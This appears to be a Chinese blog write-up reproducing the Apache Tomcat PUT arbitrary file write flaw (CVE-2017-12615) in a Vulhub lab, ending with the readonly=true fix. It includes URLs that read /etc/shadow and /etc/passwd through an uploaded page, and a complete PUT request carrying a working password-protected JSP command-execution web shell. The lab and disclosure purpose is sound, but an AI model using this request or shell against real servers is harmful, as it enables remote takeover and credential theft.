【漏洞复现】Apache_Tomcat_PUT方法任意写文件(CVE-2017-12615)

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

说明 内容
漏洞编号 CVE-2017-12615
漏洞名称 Tomcat_PUT方法任意写文件
漏洞评级 高危
影响范围 Tomcat版本:8.5.19
漏洞描述 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
修复方案 设置readonly为true

1.1、漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限

1.2、漏洞等级

高危

1.3、影响版本

Tomcat版本:8.5.19

1.4、漏洞复现

1、基础环境

Path:Vulhub/tomcat/CVE-2017-12615


启动测试环境:

bash 复制代码
sudo docker-compose up -d

访问http://your-ip:8080/即可看到Tomcat的Example页面

2、漏洞扫描

nacs工具

nuclei工具

3、漏洞验证
工具扫描验证

通过nuclei工具扫出来的结果,验证漏洞存在

复制代码
http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fshadow
复制代码
http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
bash 复制代码
http://192.168.80.141:8080/poc.jsp?cmd=whoami
POC

用burpsuite 进行抓包并做如下修改(GET请求改为PUT,修改名字,并在下面添加jsp的shell)

python 复制代码
PUT /6.jsp/ HTTP/1.1
Host: 192.168.80.141:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 667

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
 
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

1.6、修复建议

设置readonly为true

相关推荐
CoderYanger16 小时前
Java EE 进阶:8.MyBatis 操作数据库(入门)(第二弹)
java·数据库·spring boot·spring·面试·java-ee·mybatis
CQU_JIAKE18 小时前
11.7[高体】
java·后端·spring
apcipot_rain19 小时前
C++转Java日记(04)
java·开发语言·c++
特立独行的猫A20 小时前
我给女儿写了个打字练习:一边敲键盘,一边把小学英语单词记牢
java·后端·python
憧憬成为java架构高手的小白21 小时前
LangGraph4j 实战(下)
java
天诰1 天前
SA-K-11 检索会消失吗与四个未解问题
java·服务器·人工智能·python·机器学习·ai编程
这个昵称不容易1 天前
SpringBoot「衣依」服装销售平台:144个Java文件180个接口,从挑衣服到收货评价整条链路都在
java·springboot·毕设
计算机毕设定制辅导-无忧学长1 天前
《基于微信小程序的居家医疗陪护预约系统设计与实现》
java·spring boot·微信小程序·uniapp·居家医疗陪护预约系统
文丑颜不良啊1 天前
LeetCode2221~2240题目解析
java·leetcode
秋饼1 天前
Computer Use Agent Java 落地实战:感知-行动循环、执行器与安全围栏生产级实现
java·ai·技术分享·后端开发